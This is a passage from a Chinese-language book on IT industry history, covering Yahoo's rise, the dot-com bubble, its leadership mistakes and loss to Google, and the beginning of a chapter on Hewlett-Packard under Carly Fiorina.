稍微负责一点的创始人还考虑怎么也要创造出一点产值，但是大多数创业者连产值都不考虑，觉得只有有了流量就有了一切，今天仍然有人持这种观点。网络泡沫破碎后，葛优主演了一部电影《大腕》，里面反映了当时这种误解和狂热。影片中一位搞网站的人疯了以后还和别人吹只要流量上去了，网站就值个几百万。对流量的片面追求，导致了各个网站不重视内容，互联网的垃圾网页迅速泛滥。在整个互联网广告的总收入没有大幅提高的情况下，流量的增加只能导致每一千次浏览能挣的钱越来越少。各个网站在亏损后，不是去提高内容的质量而是更加疯狂地插入广告，并且发明的弹出式广告，试图从不大的在线广告市场分到相对大的一份，这样就陷入一种恶性循环。个别冷静的投资大师，包括巴菲特，发现这种趋势越来越背离了经济学的原理，但是他们的声音在互联网泡沫的喧嚣声中轻微得听不到。一些所谓的经济学家和投机者鼓吹所谓的网络时代的新经济，为这种反常现象寻找理论基础。\n雅虎开始的发展还很理性，但是到了2000年前后，也加入到疯狂者的行列。我们没有看到在2000年前雅虎在技术上有什么投入有什么创新，倒是看到很多疯狂的收购。1999年，雅虎以50亿美元的高价买下了现达拉斯小牛队老板库班的Broadcast.com公司。该公司以后每年只为雅虎创造出两千万美元的产值，更不用说是利润了。即使其利润率为100%，雅虎也要等两百年才能收回成本。这些现在看来是不能再荒唐的事，当时大家觉得很正常。最过分的是一个找工作的网站叫Collegehire，即大学招聘的意思，只要你将你的简历登到它的数据库中，就可以得到亚马逊一百美元的购货卷。雅虎对网络泡沫的形成起到了推波助澜的作用。虽然它自己没有直接烧投资者的钱，但是无数小网络公司都是靠烧钱在维持，这如同抱薪救火，薪不尽火不灭。到2000年大选后，终于没有新的投入进来了，互联网泡沫应声而灭。雅虎公司虽然和这些烧钱的公司不同，但是也受到巨大的冲击，它的营业额有史以来第一次下降，股值蒸发了百分之九十多。\n雅虎一开始就很重视互联网公司的盈利问题，它通过增加流量提高营业额的做法也是对的。但是，对整个互联网的狂热不是雅虎能控制得了。大量片面最求流量的公司的出现，使得流量变得很不值钱，而且差点毁了整个互联网开放和免费的模式。好在雅虎的基础很好，它度过的艰难的2001年，第二年就开始复苏了。\n8.3 成也萧何、败也萧何\n在雅虎的复苏过程中，两个人起了关键的作用--新的CEO塞缪尔（Terry Samuel）和首席财务官德克尔（SueDecker）。德克尔女士虽然年纪不大，在华尔街已经颇有些名头，她可以称得上是一位控制预算的专家。2001年，雅虎出现了亏损。这一年，百分之九十几的互联网公司都维持不下去了。雅虎如果不能很快扭亏为赢前景也很渺茫。德克尔用一种简单而有效的方法使雅虎渡过了难关。她对公司所有项目按照投入产出比排一个序，把那些亏损的项目责令按期扭亏为赢。在这期间，公司对那些项目没有新的投入，这实际上就是让那些项目死掉。期限一到，德克尔就毫不犹豫地裁撤掉那些项目。雅虎的在线支付、竞拍、购物等项目就是那时裁撤掉的。德克尔的这种休克疗法马上控制住公司的预算，完成了截流。接下来开源的任务就交给了新上任的CEO塞缪尔了。\n塞缪尔原来是时代华纳公司下属的华纳兄弟电影公司两个共同CEO之一，从资历上看，他并不足以胜任互联网领袖雅虎公司CEO的职务，后来事实证明了这一点。但是，雅虎的董事会看上了它在传统媒体公司的经验，高价聘请他来主持雅虎的工作。在很长时间里，雅虎一直视自己为传媒公司，而不是简单的互联网公司（在美国成为DotCom公司）。总的来讲，塞缪尔的思维基本上停留在传统传媒行业。他刚到雅虎时，对互联网公司如何增加收入没有明确的方向，只是按照传统传媒公司所有服务都有收费的做法，开始对雅虎的各项服务设计收费方法，比如100M的收费电子邮箱。即使在雅虎已经盈利不错的2003年，他还试图向被雅虎索引的网站收费。幸好他的这种破坏杨致远和费罗让网络开放和免费初衷的想法最终没有得到实现。这时，塞缪尔抓住了一个偶然的机会，为雅虎开辟了新财源。\n当时维持不下去的GoTo公司变身成了Overture，想出了一种在搜索结果中竞价排名的方法。Overture自己不提供搜索服务，就找到了雅虎。塞缪尔正不知道怎么从搜索的流量中挣钱，就抱着试一试的心里答应了Overture。很快，搜索竞价排名给雅虎带来了巨大的财富，精明的塞缪尔暗地里已经决定买下Overture。但是，雅虎当时只有八十亿美元的市值，而Overture 的股价高达三十亿美元，两家公司合并后，后者要占到近三分之一的股权，塞缪尔觉得太贵了。两家公司断断续续谈了很久没有结果。但是，塞缪尔已经决定在进军搜索市场，他当机立断地抢在微软明白过来以前以极低的价钱买下了被Google打得奄奄一息、但是仍然有完整的搜索引擎并为MSN服务的Inktomi公司。微软的傲慢使得它丧失了进军互联网的良机。雅虎购买Inktomi时还有一个小插曲。2002年的一天，雅虎的员工突然听到窗外一阵喧嚣，大家挤到窗口一看，来了一辆立了一个大牌子的巨大卡车，上面印着Google几个大字。当时雅虎和Google还是合作伙伴，雅虎的员工都莫名其妙Google来捣什么乱，仔细再一看在Google 底下有Inktomi几个很小的字，还有一句大意是\"让我们回来\"的话。原来是Inktomi的人来向雅虎传递一个在Google高压下希望投到雅虎怀抱。不久，雅虎收购了Inktomi。在此时，Overture买下了老牌搜索引擎Alta Vista，自己雄心勃勃地做起搜索，但是，在Google几次重击下，Overture的市场迅速收缩，股价一落千丈。塞缪尔这时出手，顺利以一个很低的价钱买下了Overture，从此完成了雅虎独立于Google进军搜索市场的布局。2002到2003年，是互联网产业大洗牌的年代，雅虎通过十几亿美元收购了除Google和Ask Jeeves以外的所有的搜索引擎和拥有数十万广告商的Overture。应该讲，塞缪尔商业收购是非常成功的。塞缪尔在扩展雅虎新的市场，使雅虎扭亏为盈方面功不可没。依靠搜索广告的收入，到2005年，雅虎业绩达到顶峰，而塞缪尔也成为当时美国收入最高的CEO。\n水满则溢，月满则亏，一个公司的发展有波峰和低谷本来是一件很正常的事。但是，雅虎在2004-2005年的波峰呆了没有两个季度就跌入了谷底，作为CEO的塞缪尔当负主要责任。\n雅虎的收入靠传统的品牌广告和在线搜索广告。前者是媒体品牌的竞争，不仅是Google，而且任何网站都无法在这方面和雅虎竞争。后者是技术的竞争，是Google的强项。塞缪尔看到搜索广告的前景后，决定在搜索上和新起的Google在搜索技术上一拼，夺回搜索之王。这种错误的扩张将刚刚复苏的雅虎推到了不必要的危机中。塞缪尔和所有人一样，知道雅虎的搜索和从Overture买来的广告系统都比不上Google的同类产品，因此迅速扩充工程部门追赶Google，他甚至建立起以研究为主的雅虎研究院，并请来很多专家。但是虽然工程师们夜以继日地工作，但是新的广告系统始终出不来。塞缪尔先后换了三个工程的副总裁，最终只搞出来一个让所有人大失所望的Panama广告系统。而在雅虎有优势的品牌公告方面，塞缪尔没有做任何重要的事情。塞缪尔盲目的扩张，挤压了雅虎的利润空间，并把雅虎变成了一个既不是技术公司，又不是媒体公司的四不象的怪物。\n本来，如果塞缪尔这时候能知其雄守其雌，也不至于让雅虎的业绩持续下滑。他在遇到阻力后，不但没有能够停止无谓的扩张，而是文过饰非，忽悠投资者，犯下了他致命的错误，这最终断送了他的职业生涯，也使得华尔街抛弃了雅虎。早在2004年，雅虎的盈利增长已经达不到华尔街的预期。它靠大量抛售Google股票创造了虚高的盈利，这虽然骗不了华尔街的职业投资者，但是能骗得广大的散户。这样，2005年雅虎基本上维持了股价。从2006年初开始，雅虎抛完了Google的股票，业绩下滑，已经达不到华尔街的预期了，如果此时塞缪尔承认雅虎的困难和问题，并且将精力花在雅虎在行的品牌广告上，虽然暂时会有些困难，但是可以保证雅虎的长期稳定的发展。可是，塞缪尔每个季度在没有达到华尔街预期的财报出来后，总厚着脸皮讲\"我们这个季度又很成功\"，然后吹嘘他精心打造的Panama广告系统，仿佛这样系统一旦出来，雅虎就能从Google手里夺回广告搜索广告市场，投资者只好一次次相信他。雅虎的股票连着几个季度总是先跌后涨。跌是因为它没达到华尔街预期，涨是因为塞缪尔用虚无缥缈的Panama广告系统给投资者打气。下表显示了雅虎近六个季度财报公布后，股票的走向。\n 图8-1雅虎股票走向图\n等到Panama广告系统在延期了两个季度终于出来后，雅虎的广告收益根本没有质的提高时，塞缪尔又表示该系统需要有一些时间才能见效，一个季度后，雅虎再次未达到华尔街预期，塞缪尔再次表示要半年以上的运行时间才能看出效果，这时，傻子也能看出其中的问题了。被塞缪尔忽悠了两年的投资者终于忍无可忍，把他轰下台了。\n塞缪尔走了，留下了一个千疮百孔的雅虎。他的继任者首席财务官德克尔虽然是一位财务高手，但是对互联网行业的认识实在难以恭维。她留给所有投资者的一个笑柄是创下了出售Google股票的最低价。作为Google的投资者，雅虎拥有相当多的Google原始股，包括Google 上市前又给了雅虎两百七十万股。德克尔居然以低于Google上市价（85美元）的价钱82.62美元在Google上市前私下卖给了投资公司。这个低价始终没有人能接近过。这件事本身不仅说明德克尔对互联网市场一点感觉没有，而且作为公司第一把手的大局观很差。出身华尔街的德克尔应该深知投资公司为了降低风险常用的对冲（hedge）手段。在具体到Google的股票上，雅虎的做法应当是持有，因为如果Google失败，股票跌到零，雅虎在整个互联网就没有了对手，损失掉Google的股票无非是小的局部损失，但赢得的是整个互联网。反过来，如果Google股价倍增，说明相对来讲雅虎业绩在下降，这时再卖掉Google的股票可以成倍的得到现金，再回来和Google竞争（如果雅虎把Google的股票持有到今天，超过40亿美元，这笔钱比雅虎从成立至今运营利润总和还多50%）。现在，雅虎交到了德克尔手里，它的前景堪忧。\n我们前面提到的IT行业的浪尖上的公司，除了后来分崩离析的ATT，每家都有最优秀的领导人，比如IBM的郭士纳、微软的盖茨和鲍尔默、英特尔的格罗夫和思科的钱伯斯。但是，雅虎现在却一位这样的领袖。\n8.4 既生瑜何生亮\n如果没有Google，几乎可以肯定雅虎今天会雄霸互联网，即使在搜索领域，它可能也是的王者。很遗憾的是，雅虎有点生不逢时，正当它走出互联网泡沫崩溃带来的阴影开始回升时，遇到了当今IT界最强悍的对手Google。曾几何时，雅虎已经称霸互联网并成功地抗击了微软的进攻，Google还只是一个几个人的小公司。但是，公司的大小不能完全保证今后竞争的结果；而公司的基因起得作用更多。\n雅虎和我们前面介绍的从ATT到思科所有的公司都不同，那些公司无一不是业界技术上的领袖，而雅虎从来不是。我们至今不知道雅虎有哪一项重要的发明。雅虎从它诞生开始就一直提供网页搜索服务，但是直到2003年它收购了Inktomi，雅虎自己不曾做过搜索，虽然它的搜索服务很多人在使用。在雅虎搜索的背后先是Inktomi的搜索引擎，2000-2004年改成了Google的。雅虎崇尚传统媒体的那种手工编辑工作而不是用计算机自动处理信息。早在1999年，我就和雅虎的人探讨过用计算机对文本自动分类来建立雅虎的目录系统，但是得到的答复是雅虎试过一些自动的方法，发现总有一些分错的网页，于是坚持手工地将成千上万的网站分类。这和一个技术公司的态度完全不同，一个技术公司，无论是过去的ATT，还是现在的Google，都会尽可能地采用技术而不是人工来解决问题，当然所有的技术都有自己的局限性和不足，一个崇尚技术的公司的态度是解决这些问题而不是倒退到手工操作。至今，雅虎仍然会手工地调整搜索结果，和Google完全用计算机排名不同。\n塞缪尔看到了雅虎在技术上的缺陷，试图把它重塑造成一个技术公司，但是这又谈何容易。让它和当今最有活力的技术公司Google拼技术更是勉为其难。Google对技术的重视是全世界有目共睹的。作为美国工程院院士的拉里.佩奇和埃里克.施密特，以及Google另一个创始人布林本身就是技术专家。在Google，工程师的地位非常高，最高级别的写程序的工程师可以享受全球副总裁的待遇，这一点不仅在雅虎办不到，可能世界上也没有几个公司能做到。\n世界上没有一个公司不强调对技术的重视，但是，有的公司是挂在嘴边，只有少数的公司落在实处，Google显然是后者。作为一个技术人员，他是否愿意为自己的公司尽全力，很多程度上取决于他是否被重视了。重视一方面体现在收入上，另一方面体现在他在公司有多少发言权。当然一个公司总的发言权是个常数，技术部门的发言权大了，必然有的部门就没有什么发言权了。在很多传统的公司，包括雅虎，相对来讲市场部门、产品部门的发言权较大，而工程部门的发言权较小。而Google是反其道而行之。为了提高工程师们的工作效率，Google 在很多小事上想得很周到，比如Google的每个工程师可以得到两个崭新的24英寸的液晶显示器和一个高性能的主机，外加一个最新的笔记本电脑。而我的一个朋友一年前加入雅虎时，被分配给了一个屏幕闪动不停的老式的显示器，工作效率一下就低了很多。我们在前面介绍微软和英特尔时，看到了转商业优势为技术优势的例子，而Google战胜雅虎则是转技术优势为商业优势的范例。\n本来，雅虎有自己的长项，它有世界上最大的用户群，它的内容做的很好，可以说是互联网传媒方面的纽约时报和华尔街日报。由于有了这两点，很多世界五百强的大公司愿意在雅虎网页上放品牌广告。这点优势是包括Google在内的任何网站无法相比的。我们在前面提到，广告业有个不成文的规矩，一流的品牌一定要在对应的媒体上做广告。比如可口可乐永要找最好的媒体做广告，以表明它是饮料工业第一品牌。而Google的长处是在搜索结果中做广告，这是针对中小商家，和雅虎最初的市场没有冲突。本来，雅虎的市场比Google大得多，因为品牌广告在广告业中占主导地位，像保洁和强生（Johnson&Johnson）这样的公司，一年要花近百亿美元打造自己各种产品的品牌。比如保洁创出了上百个名牌，包括我们熟知的海飞丝、潘婷、汰渍洗衣粉、吉列、玉兰油、佳洁士牙膏和Oral-B的牙刷，等等，还包括我们以为是独立品牌但是属于保洁的产品，比如鳄鱼（LACOSTE）、Hugo，Boss和Escada等。强生等公司创出这些牌子固然不宜，维护这些名牌则靠的是不断在一流媒体上花钱做广告。因此，品牌广告这份蛋糕本来足够被雅虎吃的了，它完全可以避开Google，甚至和Google结盟共同开拓互联网市场。但是塞缪尔没有选择把蛋糕做大，而是挑起了不必要的、毫无获胜希望的竞争，使雅虎现在回到基本盘都不很容易。\n两个公司在技术上的竞争，除了人的竞争，就是执行力的竞争。Google由于它宽松的工作环境很对技术人员的胃口，不仅使得它在人才的争夺战上有别的公司无法比拟的优势，而且使得它的效率比同类公司要高。大公司提高效率不仅仅是提供一些免费午餐这么简单，首先要能打破山头，打破部门界限，协调合作。Google一方面是全世界单位面积博士最集中的地方，它对雅虎有无法比拟的人才优势，另一方面在将研究结果转化成产品上，也是被认为是全世界做的最有效的，因为它的科研和开发部门本身就是合一的。雅虎花很大力气打造了研究部门，但是采用了过去贝尔实验室那种科研和开发分家的做法。科研人员有时甚至无法从产品部门拿到真实的数据做实验。\n雅虎的领军人物杨致远无疑是一位互联网领域的奇才，从某种程度上讲，他开创了整个互联网产业。但是佩奇和布林无论是在商业上还是在技术上都是两位天才，在短短几年内让Google后来居上成为互联网之王。下图是从2000年起两个公司的业绩比较（单位：百万美元）。\nGoogle的营业额和利润原来只是雅虎的零头，但是它以前所未有的速度增长，到2006年已经把雅虎远远甩在了后面。IT领域是一个赢着通吃的世界，2007年两个公司的差距继续拉大。\n图8-2雅虎和Google2000~2006年营业额与利润比较况\n8.5 红巨星\n雅虎的前景如何呢？我常常把现在的雅虎比喻成红巨星。\n天文物理中描述了一种称为红巨星的天体，它是暮年的行星。它有两个特点，首先是体积大，比原来的体积大几万亿倍，当太阳变成红巨星时，它的直径将延伸到地球和火星之间。\n当然，由于行星的质量没有增加，它的密度非常低。第二，它的温度比以前低了很多，呈暗红色，因此称作红巨星。因为红巨星密度太低，它引力场已经不能吸引自己全部的物质，因此每时每刻它都有很多物质抛撒到宇宙中。\n红巨星不只存在于宇宙中，在工业也有。在硅谷流传这一个笑话，一个跨国公司的CEO 在年终总结成绩时讲，我们近几年来公司总的才智（tenant）翻了一番，员工人数增加了十几倍。毫无疑问，这个公司可以称为红巨星了。2006年底，雅虎高管加林胡（Garlinghouse）发表了关于雅虎的所谓\"花生酱宣言\"。他指出：1．雅虎摊子铺得太大。对于每个人都想做一切事情并扮演所有角色。每个项目蜻蜓点水，资源薄薄地摊了一大片，就像抹花生酱。公司里各自为政，很少为一个清晰明了的战略进行合作，而是为所有权、策略和战术争论不休。\n2．整个组织内大量的资源浪费。我们现在处在一个极其官僚的组织架构内--虽然它在创立时是出于好意。对于许许多多员工而言，都可以找到一个在职责上高度雷同与重叠的同事。\n3．缺少决策能力，因为没有清晰的权力划分，使得决策要么无法制定，要么错失良机。\n因为没有明晰而专注的眼光，没有将权力划分清楚，我们没有制定决策的宏观视角。\n这个\"花生酱宣言\"其实已经向大家表明雅虎现在已经进入红巨星阶段，即一个光合热已经消耗的差不多的暮年阶段。整个媒体对花生酱宣言的态度几乎是一边倒的叫好。塞缪尔领导下的雅虎的发言人往自己脸上贴金，说这代表了公司开放的文化，而回避了问题所在。\n我们仔细看看雅虎的产品线就会发现，它除了不太挣钱的雅虎电子邮件在用户数量上是世界第一位意外，其它的服务全部是老二和老三：搜索第二，IM第三，找工作第二，旅游订票第三等等。每一个项目都要花掉很多的人力和资源。它让我们想起八十年代业务分散的摩托罗拉。而它的命运也很可能和摩托罗拉相同。雅虎的高层实际上拒绝了加林胡的建议--\n缩短战线，大量裁员。CEO塞缪尔直到被赶下台的一个月前，还在用它毫无希望的Panama 广告系统误导投资者，但终究没有逃过辞职的命运。\n雅虎接替塞缪尔的民意上是创始人杨致远，实际工作应该是由首席财务官德克尔主持。\n我们前面提到，德克尔能裁减开支，在短期内提高雅虎的利润，但是她对互联网技术其实一窍不通，很难想象她能领导雅虎迎接新的互联网革命。何况现在随着互联网2.0的兴起，雅虎要对付的对手已经远不止Google一家。几家新兴的互联网2.0的公司，如Facebook和Myspace，也在侵蚀雅虎的地盘。雅虎现在就像一个进入了暮年的红巨星，它的光和热越来越弱，而且还在不断失去物质。\n现在雅虎剩下的机会并不多了，它的创始人杨致远和费罗只控制着公司不到10%的股份，而它最大的两家股东是投资公司Legg Mason和Capital Research and Management Company，各占8.7%和7.6%左右，剩下来的也大部分控制在华尔街手里，如果雅虎业绩进一步下滑，华尔街很可能要求出售雅虎以收回它们的投资。对华尔街来讲，并不在乎谁是互联网的主宰，利润对它们来讲是第一位的。事实上，微软已经和雅虎恰谈过收购问题了。\n但是，如果雅虎换一种思维方式，回到它传统的传媒领域，在技术上和Google合作，则很可以作为一个强势的媒体公司屹立在互联网界。事实上，如果雅虎裁撤掉整个搜索引擎和搜索广告部门（可能占雅虎人数的四分之一和设备的一半），回到四年前，由Google提供这两项服务，雅虎从广告分成中得到的收入远比自己做产生的收入还多。（今年二季度，Google从自己网站上得到的搜索广告收入为二十五亿美元，雅虎的搜索量按Nelson和Comscore的估计大约是Google的三分之一到一半，但是其搜索广告收入不到Google的五分之一）。这样，雅虎不仅可以大幅增加收入，还可以消减近一半的开销，从此转危为安。今天，互联网广告只占整个广告业收入的不到10%，增长的空间很大，并且正在以很快的速度发展，这个市场完全可以容纳雅虎和Google两个公司。\n结束语\n也许五年后，雅虎作为一个独立的公司会不复存在，虽然这听起来有点危言耸听，但的确很可能。更可能的是，雅虎作为一个互联网媒体公司，而不是技术公司，回到它原来的核心领域。不论是哪一种结果，杨致远和费罗作为整个互联网领域的开拓者将永远地被载入史册。\n第9章 硅谷的见证人：惠普公司\n2002 年三月的一天，一个豪华的车队浩浩荡荡地来到当时世界第二大微机制造商康柏（Compaq）公司的总部。凯莉.菲奥莉娜—当年惠普（Hewlett-Packard）公司高调的女 CEO，像女皇一样，在一群大大小小官员的众星捧月下，走进康柏公司的总部，接受她在一片反对声中购来的康柏公司。这一天是菲奥莉娜一生中荣耀到了极点的一天。据康柏的员工回忆，菲奥莉娜当时态度高傲、不可一世，完全是以一个胜利者受降的姿态。\n短短三年后，菲奥莉娜黯然离开 HP。她一系列错误的决定和她平庸的管理才能将硅谷历史上第一个巨星惠普推到了悬崖边。好在一年后，惠普在新 CEO 马克.赫德（Mark Hurd）的领导下，从戴尔（DELL）公司手中重新夺回世界微机厂商的头把交椅。但是惠普性质已经由一个高科技公司变成了一个以家电为主的消费电子公司了。\n虽然惠普从来没有领导过哪次技术革命的浪潮，但是作为硅谷最早的公司，惠普见证了硅谷发展的全过程，从无到有，从硬件到软件，惠普的历史从某种程度上讲就是硅谷历史的缩影。\n9.1 昔日硅谷之星\n没有任何公司比惠普更能代表硅谷的神话了。1934 年，斯坦福的两个毕业生休伊特（Hewlett）和派克特（Packard）躺在斯坦福的草坪上憧憬着这大萧条（Great Depression）过后的美景。两个打算办一个电子公司，至于这个公司的名字应该叫 Hewlett –Packard 还是该叫 Packard-Hewlett，两个人决定抛硬币看运气，最后结果是 Hewlett 赢了，便有了 HP 这个名字。但是，直到 1939 年这个公司才正式成立，创办资金只有区区 500 美元，公司的主要业务是示波器的电子仪器。经过二次大战，惠普得到了发展。这时一个机遇使得惠普、硅谷和斯坦福同时兴起。\n二战后斯坦福大学遇到财政困难，斯坦福有 8000 多英亩的土地，相当于十多个颐和园大小，而它真正需要使用的土地可能连十分之一都不到，至今斯坦福荒着的土仍然地占一大半。但是根据斯坦福夫妇的遗嘱，大学的土地是不能出售的，因此，无法直接从闲置的土地上挣钱。后来有一个叫特尔曼的教授想出了一个办法，他仔细研究了斯坦福的遗嘱，发现上面没有禁止斯坦福把地租出去。于是，斯坦福就拿出一片土地，办起了斯坦福工业园（Stanford Industrial Park），惠普公司成为进驻工业园的第一批公司。惠普公司的从这里起步，生意得到了长足的发展，很多公司也随着进驻斯坦福工业园。到了计算机时代，由于这些公司大多从事和半导体有关的技术，从此这里便被称为硅谷。而斯坦福大学，不但度过了难关，而且从六十年代起，一跃成为世界顶尖名校。惠普则成为硅谷神话的典型代表。\n几十年来，惠普和斯坦福互相提携，堪称厂校合作的典范。惠普从斯坦福获得了无数优秀毕业生，同时在财政上给予斯坦福极大的支持。就是在很长时间里，惠普是斯坦福最大的捐助者，包括帕克特捐给斯坦福电子工程系的系馆。\n到九十年代前期，惠普的业务稳步发展、进入高峰，从示波器、信号发生器等各种电子仪器和昂贵的医疗仪器如核磁共振，惠普都是质量和技术的卓越代表。六十年代，惠普进入小型计算机领域，八十年代进入激光打印机和喷墨打印机行业，它还是喷墨打印机的发明公司。九十年代，惠普进入微机市场。整整五十年，惠普的发展都一帆风顺。如果在九十年代初问一问硅谷最有名的公司是哪一家，十个人中有十个会回答惠普。当时，惠普是很多斯坦福学生首选的工作公司。顺带提一句，惠普是最早进入中国计算机市场的公司之一。\n九十年代后期，惠普经历了不很成功的转型，这个曾经辉煌的硅谷巨星渐渐黯淡下来了。今天，在斯坦福孕育出的众多公司中，大家很难将惠普和思科、英特尔和谷歌排在一起。如果没有奇迹发生，以后它的前景依然黯淡。\n当然，有些人会觉得我把现在全世界营业额最高的计算机公司（今天的惠普营业额仍然比 IBM 高）说成是前景黯淡的昔日黄花有点危言耸听。但是如果看看下面两张图表，就不难看出其中的道理。\n图9-1通用电气GE经营情况曲线图图中的蓝线代表公司的营业额，红线代表纯利润，单位都是百万美元，而黄线部分代表利润率。上面这个公司除了在两千年后经济衰退时营业额有过下滑外，一直保持增长，而纯利润更是直线上升，利润率从十几年前的 6-8%（图中扩大了十倍）增加到现在的 10-12%。实际上，2000 年该公司营业额下滑是因为它卖掉了一些效益不好的部门，而利润并没有影响。按照巴菲特的投资理论，这个公司的股票可以购进并长期持有。\n 图9-2惠普经营情况曲线图\n现在让我们来看看这个公司，1999年以前，它基本上和第一个公司的曲线吻合，虽然它的利润率相对较低。但是，2000 年以后，它的营业额虽然基本上是直线增长，却有两次小的滑坡。糟糕的是它的盈利却忽高忽低。它的利润率不仅没有上升，还略有下降，而且一直在 10%一下。因此，这家公司的盈利能力值得怀疑。如果我们再了解到它 2002 年到 2003 年营业额猛增是因为买下了一家很多的公司，那么我们对这家公司自身发展的能力就更怀疑了。根据巴菲特的观点，这种忽上忽下的公司不能投，因为它保不齐哪天就会垮掉。\n现在让我们来看看谜底，这到底是哪两家公司。第一家是通用电气 GE，第二家是惠普，这是世界上电子行业两家最大的企业。考虑到GE不能算一个纯粹的IT公司，那么惠普可以坐上 IT 行业营业额的头把交椅。本来作为世界上最大的微机厂商，惠普本来应该是微机革命的最大获利者，但是这近二十年来它走到摇摇欲坠。其原因何在？\n9.2 有争议的生死抉择\n惠普衰落的原因大致有两个，领导者的错误和“日本/中国制造”的冲击。\n进入九十年代，个人微机在美国开始普及，整个市场增长很快。惠普靠着原有的小型机的客户和市场的经验，很容易地进入了微机市场。由于它的传统用户是中小公司和学校，惠普没有花太大气力就打开了大学，研究所和中小公司的微机市场。惠普实际上已经悄悄地从仪器制造向计算机工业转型了，并于 1989 年和 1995 年它先后买下了两家计算机公司阿波罗和 Convex ，当然它只是为了要两者的市场，然后将这两家公司原有的客户换上惠普自己的小型机和工作站。到九十年代中期，惠普成为集科学仪器、医疗仪器和计算机产品于一身的巨无霸型的公司，并且随着美国经济的快速发展而达到顶峰。那时，惠普是全世界仅次于 IBM 的第二大计算机和仪器制造商，它的产品线甚至比 IBM 还长，小到计算器、万用表之类的产品，大到最复杂的民用医疗仪器核磁共振机。计算机本来只是惠普长长的产品线上的一种产品，只是到了九十年代由于计算机工业的发展，计算机部门包括其外设的营业额超过了整个惠普的一半，才格外引人注意。\n但是，正是由于惠普的产品线太长，惠普内部非常混乱，进一步发展包袱很重。而且，惠普很多产品之间毫不相干，无法形成优势互补。因此，为了今后的发展，惠普必须在产品上进行调整。在上个世纪九十年代，公司调整和重组的最简单、经济上最合算的做法就是将一些部门从公司剥离出去单独上市。惠普选择了这种做法。接下来的问题就是卖哪个部门。\n一般来讲，公司会卖出利润率低的、对自己没有用的，前景不好的部门并买进对公司长远发展有帮助的公司，比如郭士纳领导下的 IBM 就是这样。但是，惠普接下来的发展史上最大的两次拆分和并购，却是反其道而行之，因此科技界和华尔街至今很有争议。而这两次交易都和惠普的前任 CEO 凯丽.菲奥莉娜有关。事后诸葛亮的人对她领导公司的能力很是怀疑。实际上，第一次公司重组，即将赖以起家的仪器部门（即现在的安捷伦公司）剥离上市，并不是菲奥莉娜决定的，因为董事会在她来惠普以前就做决定了。但是由于是菲奥莉娜实施的，因此很多人把这笔帐记到了她的头上。第二次是和江河日下而且亏损的康柏公司合并，这件事是菲奥莉娜在包括休伊特家族和派克特家族在内诸多反对声中促成的。我个人认为第一次剥离安捷伦现在看来并不错，因为事实证明安捷伦发展的不好，但是和康柏合并必要性不大。\n让我们回到 1999 年，看一看决定惠普命运的两次拆分和并购。1999 年时，惠普的产品线分成三个方向：传统的科学仪器，比如万用表示波器；医疗仪器，比如核磁共振；计算机及其外设。我们不妨看一看惠普在这三个领域的前景。\n图9-3惠普三个领域前景分析表在第一个领域，惠普有技术上的优势，它的竞争对手主要是日本公司，后者追赶得很快，而且日本的产品在价格有优势。这个领域发展平稳，利润率稳定，但是市场规模不大，因此，卖掉它顺理成章。医疗仪器这个行业利润丰厚，由于门槛很高，新的公司很难进入，因此相对竞争不是很激烈，惠普在全世界真正的对手只有通用电器（GE）一家。（在核磁共振上，德国和日本的公司在品质上比美国公司的要差一些。）但是成长不是很快，尤其是新的技术和设备都要经过FDA认证才能生产销售，因此研发周期极长。从情理上讲，惠普应该保留这个利润丰厚的部门，因为历来公司都是剥离利润低的部门而保留利润高的。但是，GE 这个对手可不是一般的对手，上百年来，它是世界上少有的常青树，而它的核磁共振机是惠普永远无法超越的。因此，惠普把它的医疗仪器部门分出去也许不是一个坏的决定。事实证明，今天的安捷伦确实无法赶超 GE 的医疗仪器部门。\n最后，让我们看看惠普在计算机领域的状况。惠普从七十年代起，惠普成功地进入了计算机市场。这个行业在过去的二十年里成长很快，但竞争激烈，利润率低。在计算机领域，惠普有很多竞争对手，从早期的 IBM 、DEC 到后来的 Sun 和 Dell 。进入这个领域的技术和商业门槛并不高，很容易有新的公司挤进来。比如苹果和Dell很快就从无到有，在计算机硬件领域占了很大的地盘。显然，惠普是在赌计算机工业的发展速度，用发展速度来弥补利润率上的损失。但是，惠普公司也许忽略了反摩尔定理的作用，一个计算机硬件公司必须发展超过摩尔定理规定的速度才有意义，否则，利润将一天天萎缩。因此，这种赌博的效果至今有争议。\n惠普赌的另一个拳头产品是它的打印机。惠普决定采用吉列的商业模式—通过廉价的刀架挣高价刀片的钱，它打算廉价卖打印机，然后高价卖墨盒。惠普的市场战略家们当然仔细算过这笔帐，但是，它们低估了日本制造的效应。至今，惠普在打印机市场上一直受爱普生和佳能的威胁。\n应该讲，1999 年的惠普虽然大，但是并不强。这有点像中国战国时候的楚国。惠普的董事会当然希望把惠普搞得强大。它必须决定分出去哪个部门，保留哪个部门。医疗仪器部门虽然利润率高，但是在GE的打压下发展有限，经过长期酝酿，才决定将科学仪器和医疗仪器部门都分出去，成立一个新的公司安捷伦，然后新的惠普好集中精力于计算机行业。这么大的公司重组当然要有个有经验的人来执行，惠普公司董事会看中了菲奥莉娜拆分和并购公司的经验，破例选择了她出任硅谷最老的惠普公司的 CEO ，来实施安捷伦上市的事宜。\n9.3 最有争议的CEO\n很多人认为凯丽.菲奥莉娜是惠普历史上最差的 CEO 。这点我不敢肯定，但是，毫无疑问，菲奥莉娜是惠普历史上最有争议、也是最出风头的 CEO 。作为一位职业女性，在五年内拆掉了世界上两个最大的科技公司（ATT和惠普），又主持了两次巨大的商业合并（朗讯和飞利浦的合资，惠普和康柏的并购），菲奥莉娜的功绩或者罪过已经是任何职业经理人很难比拟的了。因此菲奥莉娜无疑是媒体的关注的对象，当然她自己也喜欢在媒体上出风头。\n菲奥莉娜从ATT最底层做起，仅仅十五年就成为 ATT 的高级副总裁，应该是有过人之处。也许当年惠普就是考虑了这一点才请她来当 CEO 的，但事实证明，菲奥莉娜的过人之处也许只是好表现自己，让外界和上司注意到她。1995 年，她成为 ATT 的执行副总裁并主管了 ATT 和朗讯分家事宜。分家后，她成为了朗讯的第二把手。接下来，她主持了朗讯和飞利浦的合资公司，这家双方投资六十亿美元的合资公司连个响都没有听见就失败了。1998 年，菲奥莉娜被财富周刊评为全世界商业界最有权力的女性。第二年，当惠普要找个人来拆分仪器部门时，自然而然地想到了她。有六十年历史的惠普迎来了它的首位也是迄今唯一的一位女性 CEO 。\n1999 年 6 月菲奥莉娜一上任，就将仪器部门剥离上市，从此，世界上多出了一个安捷伦公司。那正是美国股市最疯狂的年代，安捷伦的股价从最初的每股 19-22 美元，提升到 26-28 美元，并最终在上市前的一瞬间定在 30 美元，融资近二十亿美元。11 月 17 